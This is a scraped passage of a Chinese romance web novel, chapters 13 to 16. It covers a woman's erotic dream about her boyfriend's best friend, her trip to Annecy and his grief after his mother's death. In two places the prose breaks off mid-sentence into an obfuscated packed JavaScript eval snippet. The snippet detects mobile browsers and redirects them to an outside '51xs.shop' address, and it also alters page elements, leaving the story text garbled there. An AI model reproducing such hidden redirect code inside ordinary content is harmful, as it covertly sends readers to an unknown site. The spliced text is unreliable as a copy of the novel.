孙庭誉的吻没有停,他在她耳边问:“你不想他看?” 谭诺垂下眼睛,“不喜欢。” “真的?”孙庭誉平静地说,“你们今天相处得不是很和谐?他还为你涂药。” @法拉栗- chap13 “你……怎么会知道?”谭诺的心脏忽然紧缩了一下。 孙庭誉轻笑了一声,在她耳边低声说:“因为,他手上有药膏的味道。” “我把他当成你了,才会让他那样的。”她连忙为自己辩护,只是,她说这句话的时候避开了钟屹的眼睛。 “那刚刚呢?”一直靠在墙边冷眼旁观的钟屹突然出声。 “什么刚刚?”谭诺头脑一片混乱,她看着钟屹就这样向自己走来,只感觉自己的头要炸了,“为什么你要进来?” 孙庭誉疯了吗?他怎么能让钟屹进来? 心跳加速到无以复加,每一次呼吸都感觉到窒息。 钟屹已经站到床边,垂眸望着她。 谭诺被他灼热的目光逼视着就想要往后仰。 “我为什么进来?”钟屹倏地伸手捏住她的后颈,不让她逃离地将她往他的方向带,迫使谭诺不得不面对他,他说话时表情冷峻,眼神里恶意掺杂着甜蜜,“不是你在想我么?” 他的眼睛一刻也没有离开她,“你一直在想我,我才会进来。” 谭诺快要被搞疯了,为什么孙庭誉一点也不在意? “我没有想你。”她脸又一次皱了起来。 钟屹没有再说话,只是视线向下,就盯着那一处。 孙庭誉在这时从背后环抱着谭诺,她的身体在颤抖,包括那里。 “你想他出去还是进来?” 谭诺没有回答。 “你说不想,他就离开。”孙庭誉引诱地说。 谭诺不知道,她已经开始战栗。 因为钟屹已经上来了,在她的默许下,与她面对面。 谭诺就这样咬着嘴唇,她知道她应该让他出去,但是她没有说出口。 - 钟屹忽然靠得很近,谭诺只觉得周围的空气变得稀薄。 他的脸一点一点凑近,就在要触碰到谭诺的唇上时,他像是看出她矛盾的抗拒,轻笑着吻上了她的下颌。 谭诺抬起手想要把他的手打开,钟屹却用另一只手直接箍住她的两只手…… 谭诺第一次发现,原来钟屹的发丝很柔软…… “凉。”她说。 钟屹的手指好凉。 “很凉么?”他语气有些温柔,“那你捂热。” 他的手已经带着一点她的味道。 不知道过了多久,久到谭诺已经在崩溃的边缘,她忽然叫了一声倒了下去…… - 灵魂完全放空后,谭诺终于无法思考孙庭誉为什么会这样做,而她又为什么会和钟屹这样。 她只是,长久地颤抖着。 她到了,不是和一个人,而是和…… 谭诺发懵地看着天花板,身上汗涔涔的,她突然陷入了迷茫与困顿。 她和钟屹在孙庭誉的面前…… 她还在放空的时候,忽然感觉到有人握住她的脚。 侧过头,钟屹对上她的视线,在她的脚面吻了一下。 他的吻一路向上,停在了那一处。 “这里,”他说,“我想吃。” 钟屹又在用那种引诱的目光看着她。 谭诺还没有回神,就看到他已经将头埋了进去。 谭诺在这时感到一阵失重感,她的身体忽然坐直,下一刻睁开了眼睛…… 屋内光线依旧暗淡,窗帘仍是拉着的状态。 只有空气中那种令人脸红的味道消失了,只剩下淡淡的荔枝玫瑰的香气,是她入睡前孙庭誉喷的香水。 谭诺慌张地转过头,在极度微弱的光线下,看到了睡在自己身侧的孙庭誉。 他的呼吸平缓,面朝她的方向侧躺着。 谭诺有一次和他说,他侧躺的方向,对心脏不好,但是他不改。 他说,宝宝,有一次你说了梦话,梦里叫了我的名字。 我靠着你的方向,听得更加清楚。 谭诺想到这里,呼吸变得不太稳。 原来什么都没有发生,只是一场梦。 所以,她刚刚在睡梦中有叫出任何人的名字吗? 还好,孙庭誉睡着了。 太荒唐了。 谭诺不是没有旖/旎的梦,但是这是第一次梦里有两个男人,而其中一个是自己的正牌男友,另一个却是…… 她就知道孙庭誉根本不可能这样。 一定是因为涂药的事件,她越发认定自己离开的决定是对的。 她不知道钟屹到底是出了什么问题,但是她可能真的是一个自制力很弱的人。 梦里这样,还没有任何人会说些什么,因为只有她一个人知道,这是她一个人的秘密,但是再待下去,难保还会发生什么。 身上有点黏,谭诺想去一趟卫生间,她动作很轻地下了床,走到卫生间时,却听到了屋外的脚步声。 她的手握着卧室门的把手,明知道不应该打开门,门外很有可能是潘多拉的魔盒,但是谭诺还是在一种驱使下转动了门把手。 凌晨五六点的房子,还带着一丝冷意。 谭诺远远地靠在门边,就看到钟屹穿着一身黑,手里提着一个包。 他独自站在玄关处,正准备换鞋。 他也要走了吗? 谭诺下意识地将身后的门给关上。 关门的动静在寂静的客厅有些突兀,钟屹忽地也转头看向她。 他在原地站了一阵,谭诺觉得他现在看起来有些冷酷,和梦里不太一样,大约是因为穿着正装。 客厅的窗户大敞着,流动的空气让谭诺有些想要发抖。 “我打扰到你了么?”钟屹问。 这是很普通的一句话,但是不知道为什么,兴许是昨天他说的那句“今晚不要打扰我”,让她觉得这句话别有深意。 谭诺转头就想要走。 钟屹又出声。 “我要走了。” 谭诺的脚步有些凝滞,她条件反射地问:“去哪里?” “日内瓦*。” 谭诺忽然想起孙庭誉昨晚和自己说的去安纳西的路线,就是从日内瓦中转。 她没有说话。 钟屹勾了勾唇角,“以为我在追着你跑,害怕了么?” 谭诺摇了一下头。 “那你要不要跟我一起走,”他问,“我可以送你。” 谭诺却下意识地向后退了一步,她没有忘记自己要去安纳西是因为谁。 “不要。” “那真遗憾。”他说。 谭诺不懂他,他看起来竟然真的有些受伤。 “你为什么要这样?” “我也不知道,不过,”钟屹盯着她看,最后,他无所谓地说,“反正,你不是要离开了么?” 谭诺背贴着墙站着,她越发觉得话题与钟屹的视线再度变得危险,手连忙握住了门把手,像握住最后保护她的一面墙。 “再见。”她说。 而身后的卧室在这时传来孙庭誉的声音。 他发现她不在房间,在叫她的名字。 14. chap14 谭诺看到钟屹站在门口,他额头的发丝又这样垂在他的眉眼处,那里盛满了情绪。 “宝宝?”孙庭誉在叫她。 一墙之隔,谭诺听到了,钟屹也听到了。 一瞬间,谭诺僵硬地靠在墙边。 谭诺知道自己该进去了,但是大概是才从睡梦中惊醒,她有一种后知后觉的迟钝,而钟屹就这样遥遥地盯着她看,忽然,他指了指她的脸。 “有点红,你感冒了。” 还是昨晚问她为什么要走时的样子,无声地动着嘴形。 谭诺又皱起了眉毛,钟屹看得出她如临大敌的模样,自嘲地笑了一下。 只是这笑容实在短暂,短暂到谭诺不知道他在笑什么。 为什么他要用这么寂寥的目光看她呢? 孙庭誉已经下床了,谭诺知道自己不能再站在外面了,她该进去了。 准备转身的瞬间,她听到钟屹说,“药在这个房间。” 他最后留恋地看了她一眼,轻声说:“我走了。” 这一次,钟屹发出了声音,只是这个声音很轻,轻到还没有谭诺脉搏跳动的声音大。 谭诺没有再看他的眼睛,她直接拉开门,再一次回到和孙庭誉的房间。 谭诺将背贴在门上,放缓了呼吸。 孙庭誉已经走下床,正准备拉窗帘,见到她进来,他又停下了手上的动作。 他不知道现在几点钟,外面的光线会不会刺到谭诺的眼睛。 “今天怎么醒得这么早?”他走了过来。 “我醒来想出去倒杯水。”谭诺说。 话音刚落,她听到屋外的大门被关上的声音。 钟屹走了。 这样也很好。 谭诺笑了一下,努力让钟屹的眼神从脑海里消失,“还有点被那个讨厌鬼吵醒了。” 孙庭誉手背蹭了一下眼睛,他还有些没有完全醒来,听到谭诺的话后,有些无奈地笑。 他指了指桌面上的水杯。 “睡前给你倒了,不过可能有些凉了。” 谭诺点了一下头,她还在思考自己刚刚说话的语气假吗?就听到孙庭誉说: “阿屹今天去疗养院看他妈妈,坐的早班机。” 谭诺再一次和孙庭誉一起回到了床上,孙庭誉将她搂在怀里。 “我们再赖一个小时的床再起来。”孙庭誉摸了摸她的脸。 “好。” “早知道你醒那么早,我就帮你和阿屹买同一个航班了,他回日内瓦。”孙庭誉的头脑还处于昏沉的状态, 他想,飞机上如果有个认识的人,谭诺下了飞机以后不至于太过迷茫。 谭诺下意识地回绝,“我不要。” 意识到声音有些生硬后,她又说,“我才不要。” 安纳西和日内瓦为什么这么近?谭诺答应去找许奈的时候,根本不知道两座城市竟然只隔几十公里。 他们还会见面吗?不会吧。她又为什么会做那个梦…… 混混沌沌地又睡了一个小时后,孙庭誉开车送谭诺去尼斯机场。 去的路上,孙庭誉看了一眼谭诺的脸,有些担忧地问: “脸有点红,是不是吹空调吹感冒了?” “还好吧,可能是被晒红的。” 谭诺猜都能猜得到,她要是真的感冒了,孙庭誉能一日三顿提醒她吃药。 “记得要看时间,登机别迟,知道吗?”孙庭誉将谭诺的手握在掌心里,看了一眼她的手腕,空荡荡的,他有点想把自己的腕表摘下来给她。 谭诺被他的紧张逗笑,“我又不是傻子,而且我是有手机的人。” 孙庭誉看了一眼她的手机,他忽然意识到谭诺用的手机还是阿屹的,不管怎么说,回国前肯定要把这个手机还给他。 “到了日内瓦的机场就给我打电话,知道吗?” “知道。” “放心,我的生日我们一定会一起过。”孙庭誉跟她说。 - 飞机全程只有一个小时,谭诺在座椅上眯了一会儿,飞机就已经落地。 谭诺出关的时候感觉到耳朵里涨涨的,偶尔还能听到一点杂音,不知道是不是因为这几天里坐了太久的飞机。 这一次和两天前落地尼斯机场时不同,谭诺一到接机口,就看到了几年没见的许奈。 谭诺高兴地扑了过去,一时间,这两天混乱的情绪被见到许奈的激动和喜悦压住。 谭诺亲密地搂住了许奈的胳膊。 “喂喂喂,你这样搂着我,别人会以为我们是蕾丝。”许奈开着玩笑地说。 谭诺高中的时候就是这样的人,不管是出操还是去洗手间,只要走出教室,就一定要挽着人走路。 “我不管。” “你怎么对着我也这么会撒娇?“许奈拿谭诺没办法,她从小到大一直是怕肉麻的类型,和父母在肢体上都鲜少亲昵,但是被谭诺这样贴着又有点享受,就好像又回到了高中,她们还是小女孩,最大的烦恼也只是假期作业怎么这么多,月考怎么又要来了。 原来,一晃已经过去了这么多年。 “太久没见面了,我很想你的。”谭诺手上的行李箱被许奈拿走,这样方便她挽着她。 “之前你还说春天会回国参加谁的婚礼呢,结果也没回去。”谭诺抱怨道。 许奈只好说:“本来是要回国参加我堂哥的婚礼,但是谁能想到,结婚证都领了,又离婚了。” 婚礼自然也就不用再办。 谭诺一听到这样的八卦,瞬间来了精神。 不过许奈和她的堂哥许见裕来往并不算多,毕竟年纪差了几岁,她在巴黎的亲姐姐和他比较熟。 见谭诺这么感兴趣,她开起了玩笑:“干嘛?听我姐说,我堂哥刚被抛弃,时不时地跑来巴黎治疗情伤呢,他人说不定现在就在巴黎,我把他介绍给你?” “你走开吧,他都结过婚了!” “就这个理由,我还以为你是为了孙庭誉。” 谭诺“啊”了一声,难得不知道该回些什么。 就这样胡扯乱扯了一通,前往安纳西的机场大巴到了。 两个人坐上了大巴车,就好像从前考试时坐校车一样立刻坐到了最后面的位置。 许奈这个时候像变魔术一般从包里拿出了三盒已经洗干净的水果:拳头大小的无花果、樱桃还有树莓。 谭诺感动地将头贴在许奈的肩窝里蹭来蹭去,“你对我太好了吧。” “差不多得了啊,”有时候许奈很羡慕谭诺这样率真地表达感情的性格。“就你这样,怪不得孙庭誉时时刻刻跟门神一样守着你。” 谭诺和许奈上高一的时候,孙庭誉是高三的学长,高三课业有多紧张,大家不是不知道,但就是在这种时候,每天一到吃晚饭的时间,她们班的同学都能看到孙庭誉从另一栋楼带上晚餐来给谭诺加餐,等到谭诺吃完饭,他就会问她今天课上有没有什么不会的,他可以给她讲。 起初,谭诺的同学都以为孙庭誉是谭诺的亲哥,或者是什么亲戚关系,后来才知道他们竟然是补习班认识的。 班里一开始还有几个男生对着谭诺起了一些少男的心思,想要追她,后来整天看到孙庭誉来找她,渐渐也就没有男生再凑过来了。 - 入眼是阿尔卑斯山和湖泊,许奈的民宿开在距离安纳西湖步行十分钟的地方。 将谭诺的行李放下后,许奈带着谭诺出门。 街道和古朴的城墙交相辉映,谭诺觉得安纳西和尼斯的感觉真的很不一样,更像是带着欧洲气息的江南水乡。 沿途开满了颜色浓郁的花朵,甚至墙壁上也是。 谭诺努力保持着高度的兴奋,不去想任何不相干的人。 许奈带着她逛完城堡博物馆后,又要领她去岛宫。 谭诺看到岛宫的整个建筑看起来就像是一座船,就停在水中央,原本还有些兴趣,只是一听说这放在以前是监狱,顿时没有进去的念头。 就这样绕到了两点后,谭诺已经累了。 许奈便带谭诺去欧洲花园野餐。 今天正好有市集,许奈起了一个大早买了好多吃的。 往公园走的路上,许奈指了指不远处的一座桥。 “看,那就是什么传说中情侣在桥上接吻,就能永远在一起的爱情桥。” 谭诺也跟着看过去。 她听过这个地方。 许奈对恋爱没有什么热衷,很不屑一顾地说:“给这个桥起名字的人真是精啊,一个东西只要跟爱情扯上关系,就能把不少情侣骗过来。” 谭诺跟着哈哈笑,“确实,我之前就很想和孙庭誉来这里呢。” “你还是很向往永恒的爱情呢。”许奈调笑道,“你说之前想来,那现在呢?不想了?” 谭诺忽然不知道该怎么回答。 不想吗?想的吧。 因为昨天在海边晒伤的缘故,这一次,她们挑了树荫底下躺着。 谭诺原本还想要和许奈一起做点什么,结果许奈直接拍掉她的手。 “你不懂这些东西怎么搞。” 许奈带了从亚超买来的泡面,又用今早在集市买到的安纳西特色奶酪给谭诺做了自热的奶酪火锅。 “啊,好好吃。” 许奈坐在阴凉地,这时才注意到谭诺眼下的青黑。 “你这是因为他不能陪你,伤心得没睡着觉,还是到了尼斯的两天跟他夜夜笙歌被他吸了精气啊。” 谭诺吃了一会儿,直接原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是,如果只是那么简单就好了,如果只是并不讨厌,那谭诺就可以像对待孙庭誉的其他朋友一样对待钟屹。 “他非常奇怪,”谭诺离开了有男朋友气息的地方,终于不至于被道德拉扯着,她回忆起这两天的一些细节,“他先是穿着睡裤到机场接我,第二天又穿着睡衣到天使湾找我,天使湾你知道吗?就是蔚蓝海——” “这是重点吗?” “哦,其实这两件事还没那么奇怪,可能他只是面冷心热,毕竟是孙庭誉让他去的,但是呢,他在看到我躺在海边的时候,以为我出事了,忽然紧张地冲过来就要给我人工呼吸。” “一、他好紧张你,二、他想占你便宜。” 谭诺苦笑了一下,只是想到这之后的事,她变得有些吞吞吐吐,“后来,后来我后背晒伤了进房间涂药,结果错进了他的房间,我以为他是孙庭誉,让他帮我涂药。” “他涂了。” 谭诺窘迫地点了一下头。 “为什么你们的剧情那么艾薇啊?”许奈忍不住发表自己的感想。 “……” 许奈说完以后,忽然正色道:“你说他们是从小一起长大的好朋友。” 谭诺点了点头,“孙庭誉说他是他最好的朋友。” 所以她才不能理解他为什么这样。 谭诺想起孙庭誉昨晚在海边和自己说起的故事,“可能他们从小住得很近,孙庭誉的家庭很幸福,他可能是很羡慕孙庭誉,羡慕久了就成了——” “嫉妒。”许奈皱着眉头,思绪忽然飘远,“嫉妒这两个字为什么是女字旁,我们女的真的很冤枉。” 谭诺点了一下头。 她试图忽略这两天钟屹注视着她时眼里的温度,他担忧她的神情还有今早离开时他眼中的不舍,这个眼神她只在孙庭誉看她时的眼里见过,就好像他很……爱她,他怎么可能爱她呢? 他怎么能爱她呢? 谭诺又开始感到烦躁了。 她决定将他所有不对劲的行为都定义为男人友情的复杂性,这样会让她比较好过。 “那你不要管他就好了,你不动心,那就没关系了。”许奈安慰道。 谭诺没说话,问题是,问题是,万一她…… 谭诺甩了甩头,她知道自己很可能是因为刚考完研,来这里找孙庭誉,他却不能陪她,而另一个人一直在她身边,所以她才会这样。 钟屹大约是想要拉她下水,但是这时,谭诺还尚存一丝自信。 她不会的。因为,她以为她走到岸边了。 15. chap15 在欧洲花园吃饱喝足以后,谭诺躺在许奈带来的毯子上,眼皮已经开始打架。 许奈原本准备撑着精神陪谭诺继续玩下去,没想到谭诺已经开始犯困,便拉着她回民宿睡一觉。 回去的路上,许奈还在感叹:“真是稀奇,孙庭誉来法国这一年,你没有爱上别人,结果跑来找他的时候,竟然变心了。” 谭诺立刻说,“我这不算变心……而且,他之前经常回国看我的。” “哈哈,现在你来了这里,他反而要上班,所以你有落差感了是吗?”许奈对此其实并不在意,她的道德观是只要朋友高兴,出轨根本不是问题,只要找的不是有妇之夫,再伤害到别的女人。 这世上出轨的男人这么多,多一个女人来拉一下比例简直是她乐见其成的事,许奈没有多余的同情心分给男人,毕竟在男人犯错的时候,其他男人团结得很。 她试图宽慰谭诺,“就算你出轨那也是孙庭誉活该,当初说好不会离开你,结果转眼就跑到国外工作。被戴绿帽子也是他活该。” 谭诺连忙捂住她的嘴巴。 谭诺已经决定退回到岸边,她绝对绝对不会越过那条海岸线。 - 许奈睡眠很浅,没有和人睡一个房间的习惯,她给谭诺挑了一间很大,装饰很温馨的套房,打开窗户就能看到教堂的房间,床上的四件套也是许奈才换的,谭诺很满意。 “孙庭誉要是这两天来找你,还能跟你一起睡,”许奈说,“我就在你隔壁的隔壁,你睡醒就来叫我,等到了傍晚,我带你出去吃晚饭。” 谭诺说好。 只是,大概是三天内换了两个睡觉的地方,谭诺虽然精神有些疲惫,闭上眼睛却怎么都睡不着。 谭诺闭上眼睛,眼前不是昨晚那个梦,就是今早钟屹站在门口看着她的画面。 她不明白自己的大脑为什么这么叛逆,就好像原本并不会这样经常想起,但是当她决定淡忘时,却开始一遍一遍地提醒她。 最后谭诺还是起了身,她走出房间,透过窗帘的缝隙看到许奈已经睡着了。 许奈今天为了接她应该起得很早吧,谭诺纠结了一会儿决定还是不要吵她了,便自己走出了民宿。 【我睡不着,就在湖边转转,不会走远。】她给许奈发了个消息。 脚下的石板路是方石块拼成,谭诺并不敢走远,只是在湖边漫无目的地转悠。 湖水里有几只天鹅,正在很惬意悠闲地往前游,她便围着沿河的栏杆跟着它们的方向往前走。 谭诺原本一直在看着栏杆上插满鲜花的花篮,后来不知怎么走到了桥边。 被许奈带着在安纳西玩的时候,谭诺看到好几座小桥,所以她并没有多想。 桥边上挂着锁,谭诺在这时看到了围栏上一个长方形的牌子。 【PONT DES AMOURS】(爱情桥) 谭诺和许奈中午去欧洲花园的时候路过这里的,原来她又走到了这座桥边。 谭诺没有走到那座桥上,不知道是出于什么样的心理让她决定,她要等一等孙庭誉。 她其实没有等人的爱好,孙庭誉出国之前,谭诺曾经有几家很想吃的店打算跟他一起去,但是他走了。 谭诺也并没有等他,很快地和朋友前往,吃得也很开心,她是绝对不会委屈自己的人。 但是这一次,她打算等一等他。 她只是站在桥下的湖边,试着去回忆孙庭誉对自己的好。 太多太多,多到已经渗透进空气里,以至于她太过习惯了。 从谭诺和孙庭誉正式在一起开始,他们几乎每一天都要见面。 就算除夕这样的日子,孙庭誉也会来找她。 他们在一起的第一年春节,谭诺原本以为她和孙庭誉没办法一起过,因为一周之前孙庭誉和家人回了瑞士看爷爷奶奶。 谭诺其实很想问孙庭誉准备在那里待到什么时候,那时他们刚刚在一起不到半年,她对着他还有所收敛,并没有完全暴露她真实的个性,于是也忍住没有提各种要求。 大年三十那天,孙庭誉快一天没联系她。 他打来电话的时候,谭诺刚刚吃完晚饭,正在和爸爸妈妈没滋没味地看着春晚,看到手机屏幕上他的名字时还有些生气。 但是她还是回到房间接通了。 她听到他那里风声不小,他的呼吸声也很重。 “你那里风声很大,我听得耳朵疼。”她在用这种方式表达她的不高兴。 孙庭誉像是没听出来,“嗯,吃完在运动,不能让宝宝喜欢的腹肌消失。” 谭诺没想起来时差的问题,只以为他说的是中午那一餐。 “你不是说刚吃完饭不可以立刻运动吗?” “已经过了半个小时了。” 谭诺听他在运动,便说:“那你运动吧,我挂电话——” “别挂。”孙庭誉打断了她的话。 谭诺撇了一下嘴,她都表现得这么明显了。 “可是你跑步,我不知道在这里说什么啊,”她抱着抱枕在床上蜷起来,“你是王子吗?难道我还要在这里给你唱个曲子给你点背景音?” “宝宝这几天趁我不在,还学了唱曲?” 谭诺被他气死了,刚要挂电话,就听到孙庭誉在那头轻笑了一声。 “今天怎么不开心?叔叔阿姨没给你红包?” “给了。”谭诺硬着头皮回道。 “今晚的饭好吃吗?” “……好吃。” “那你要不要也出来散散步消化一下?” “不要!很冷的!不理你了,我要挂电话了!” “出来一下吧。”孙庭誉坚持。 谭诺听到他在电话那端轻轻地呼出一口气,就好像停下了脚步,就是在这时,她忽然有了一个几乎不可能的猜想。 她从床上坐起来,想也没想地跑到阳台,果然,灯光下孙庭誉穿着防风服,拉链拉到了下巴,对她张开了怀抱。 谭诺的坏心情瞬间烟消云散。 她一路跑下楼,见到孙庭誉的时候,面上嘴巴还翘着,只是眼里早已绽放出神采。 “你怎么这样?”她这个时候当然想明白,孙庭誉这一天没联系她是因为在飞机上。 孙庭誉看她咬牙切齿的样子,忍不住上手去捏她的脸。出租车只能停在小区外,他是跑过来的。 “谁家的宝宝生气都这么可爱啊。”他说。 “你刚刚电话里还在逗我!” 孙庭誉捧起她的脸,柔情地注视着她:“因为我想看到你见到我惊喜的样子啊。” 谭诺终于忍不住扑进他怀里,“你太可恶了。” 孙庭誉不懂,怎么有人说可恶就像在说“我爱你”。 “是不是很想我?”他在她耳边问,“是不是憋了几天才忍住没催我回来?” 谭诺就这样靠在他的怀里,心里甜蜜,声音闷闷的。 “你怎么知道?” “因为我们心电感应啊,”孙庭誉说,“你心里想我,我做什么事都不安心,爸妈给我压岁钱,我都忘了接。” 谭诺替他遗憾,她在他怀里抬起头,今天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9620231|101193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没有月亮,但是她的眼睛很亮。 “好可怜哦,要我给你压岁钱吗?”她做出要从口袋里拿红包的动作。 孙庭誉阻止了她手上的动作,只是低头注视着她,“你是不是好爱我?” 谭诺点了点头,只是手摸了摸放红包的位置,有点心虚。 她口袋里其实只有十块钱,但是还是不要告诉孙庭誉好了,他看起来那么感动…… 谭诺从堪称久远的记忆中抽回思绪。 耳边似乎还能感觉到孙庭誉当时对着她耳语时的气息,从前当她想起这件事时,总是感到甜蜜,现在甜蜜依旧,她心里却带着一丝负罪感。 谭诺不知道在湖边待了多久,她望着无波无澜的湖水,心里不断地在发出一个声音:孙庭誉,你不是说我们之间有心电感应吗?只要我想你,需要你,你就会出现在我眼前。 现在,不远处就是爱情桥,你说会陪我去所有浪漫的地方的。 那你现在出现吧。 周围的行人经过,谭诺听着脚步声忽然感到一丝无力的自我厌弃。 谭诺蹲在湖边,下巴就这样搭在自己的胳膊上,她在阴影里闭上了眼睛。 只是,不知蹲了多久,不远处的水面突然被人投掷了一颗石子,谭诺倏地睁开眼睛,看到原本平静的湖面上浪花荡开。 她的心又开始不安地跳动起来。 谭诺手撑着膝盖站了起来,但是她没有回头,眼睛定定地望着眼前仍处在震荡中的湖水。 湖面上,有两个倒影在缓缓地晃动着。 谭诺双手贴在腿边,不知道该怎么安放,她只是僵硬地站着。 大约过去了三秒、也许更久,谭诺看到清澈的湖面再次恢复了平静。 谭诺看清了另一个倒影。 “你在期待谁的出现?”是钟屹。 他微微低下头,在她的耳边问。 她蓦地转过头,才意识到自己一直在屏住呼吸,下飞机时耳鸣的感觉又出现了。 钟屹仍穿着早上离开时的黑色正装,但是谭诺一眼就看到了他胸口别着的一朵白色小花。 她看了一眼花,才望向他。 他就像是徒步而来的行人,裹挟着一身的疲惫。 但是他仍没有放过她,他的声音愈发地低沉:“孙庭誉还是我?” 谭诺听到了鼓噪的心跳声几乎就要冲破自己的胸口。 谭诺踉跄着想往后退,他却一把将她拉向自己。 他双手握住她的肩膀,像是怕她跑掉。 谭诺像是被钉在了原地,她不敢向他靠近,却退无可退。 “孙庭誉还是我?” 谭诺想,钟屹一定是疯了。她该拿疯子怎么办? 她不合时宜地想到今天许奈准备带她去的水上监狱。 他要拉她下去。 谭诺以为他的眼神该是像猎人望着猎物一般,但是他的眼里浮现着悲哀。 冷酷、淡漠的情绪统统消失不见。 他在害怕什么?在害怕她的答案?还是在害怕那条泥泞不堪的河流里只有他一个人吗? 钟屹忽然无比珍视地捧住她的脸,一下一下地摩挲着。 “我来了,你会失望么?” 谭诺想要挣开他的手,他却将衣服上的那朵花摘下别到了谭诺的右耳上的头发上。 他指间的凉意几乎要将谭诺吞没。 谭诺终于艰难地出声,“我不管你为什么来这里,但我等的人是——” 钟屹垂眸盯着她,只是,在谭诺要说出那个名字时,他忽然低头吻了下来。 16. chap16 钟屹是在上午十点半见到了母亲徐岚最后一面。 那个时候,徐岚的遗体已经被临终疗养院交给殡葬承接公司保存。 她被很妥帖地安放进冷柜里。 昨天晚上,疗养院专门负责照顾他母亲的护工已经给他打电话,说她大约是撑不到明天了。 类似的话,钟屹在大半个月前就已经听过,当时,他也不知道出于什么心理,离开了瑞士。 钟屹经历过许多生离,但对直面死亡这件事难免感到惶然。 时隔半个月再听到这句话,钟屹没有太强烈的感觉,他甚至很冷静地看了一眼航班。 意识到最早一班还在明早七点,钟屹平静地问护工徐岚还能说话吗?护工说,不能,她昏迷了。 钟屹想了想后,说他明早九点半左右会到,如果夜里他母亲去世了,那就麻烦把她的尸体交给他之前已经提前找好的丧葬承办人。 因为还要等待开具死亡医学证明,葬礼并不能立刻举行,尽管徐岚意识还清醒时已经为自己选好了主持葬礼的教堂。 那是她周末很喜欢小坐祷告的地方。钟屹并不知道她在那里祷告些什么。 重逢以后,他们聊天并不算多。 长大以后找到她对钟屹来说更像是对年少的自己的一场补偿,大约是因为成长的过程里徐岚鲜少陪伴,虽然不是出于她的本意,但是钟屹确实很早就做好了失去她的准备。 在国内找到徐岚的时候,她很轻松地告诉他,她得了肺癌,她不知道是最穷的时候在餐馆打工,每日每日地闻着油烟味诱发的肺癌,还是因为整日被迫吸男人的二手烟。 不过,她看起来很豁达,在钟屹问她还想做点什么的时候,她说,想回到当年待过的日内瓦,试着从容一点地生活。 年轻的时候,她太过贫穷,先是为了包吃包住这样的条件在按摩店打工,说到这里的时候,她看着钟屹,眼神有些小心翼翼,很认真地说是很正经的按摩店。 她当时活得太拮据,并不知道松弛的人生是怎样的,后来遇上了钟屹的父亲钟霖,她几乎忘了他们是怎么开始的,这世上有无数种灰姑娘和王子的浪漫开头,只是结局大多不尽如人意。 徐岚是在这时才意识到,原来她年轻时会爱上钟霖只是因为他身上的从容不迫,但是那份气度是自上而下的,他对着把控财政大权的他的家族却无法做到。所以,在权衡利弊后,他很快地放弃了她。 徐岚为了钟屹能有好的生活,连争的想法都不曾产生过。 钟屹对这个故事不感兴趣,他有些想要问,她当年是怎么来的日内瓦,后来又为什么过得如此贫寒,但是他最后也只是倾听。 钟屹最后看了一眼徐岚,她看起来比他走之前又瘦了一点,听护工说她最后几天几乎没吃什么东西,一吃东西,肚子里就像有团火在烧。 她从前就很瘦,现在越发瘦了,瘦到钟屹有些认不出她来。 他依然觉得自己没什么感觉。 后续的一些琐事有专门的人来处理,钟屹没有再停留,他去了为徐岚挑选的墓地,这里也是徐岚在半年前就已经为自己选好。 钟屹来之前回了一趟他从前住的地方,在那里有他还很愚蠢时留下的东西。他找到了徐岚被遣返回国时他想要给她的画。 那个时候没能见到她,自然没有送出去,后来再重逢时,他早已长大。 走进墓园后,钟屹感觉很亲切,可能是因为周围的陈设,他就像踏进一座温馨花园。他觉得徐岚应该也会喜欢。 这里的每一个坟墓都被修缮得很好,周围摆满了各色的鲜花。 钟屹蹲下来,将那张画埋进了土里,泥土湿润,很快地将本就有些老旧的纸浸软。 画上只有他和徐岚两个人,钟屹当时只是想着,等到她回国以后如果想他了,可以看一眼画,那时他觉得她应该是爱他的。 但是或许他和徐岚是一样的人,他们没有思念某个根本看不到的人的爱好。他们更习惯克制、忍耐。 钟屹将他带来的花放在了还没有刻字的墓碑前。 他看到那束花里有一朵白色透着淡粉的花就这样突兀地翘在其它花的外面。 钟屹不知想到了什么,将那一枝从中抽了出来,别到了西服胸口的口袋里。 道路两旁的桦树和松树高大,视线尽头只有一条越走越窄的路。 走出墓园后,天空中飘了大约十分钟的小雨。 钟屹就站在路边出神,他昨晚没睡什么觉,现下只觉得头脑昏昏沉沉。 手机响了,他原本想要挂断,但是手无意地按到了接听键。 “喂。”他说。 “怎么样?见过你妈妈了吗?”是孙庭誉的声音。 钟屹想,算是见过了。 他这个时候不是很想听到别人的声音,于是没什么感情地嗯了一声。 “那你是要在那里继续陪她,还是回来?”孙庭誉问。 “回去。她不用我陪。” 孙庭誉并没有听出什么,钟屹平常见过他妈妈也是这样的语气。 “对了,那你会经过劳力士的店吗?我在尼斯去了几趟,想给诺诺买的手表都没有货,你要是顺路的话帮我看一眼。” 孙庭誉已经想着给钟屹转账的事,从前香水之类的小东西,钟屹总是以孙庭誉赞助了他在尼斯的房子为由不收钱,但这手表的钱不是小数目,孙庭誉是必须要给的。 钟屹感受着身上并不让人感觉到体寒的雨,这一刻心里有很浓烈的羡慕和厌恶,这完全相反的情绪在他的心底像是搅出了一个窟窿。 有时候,钟屹觉得孙庭誉大约太幸福了,幸福到他的世界真的是围绕他在转。 他会让钟屹去接机,替他去天使湾找谭诺,还有很多很多事,钟屹答应的同时总觉得很羡慕,他羡慕这些可以轻易地去麻烦别人的人,因为他做不到。 究竟为什么做不到呢? 一滴雨落在他的眼睫处,钟屹开始厌恶自己。 做好人做得不尽兴,当坏人又当得不彻底。 没劲极了。 他忽然不想这么干了。 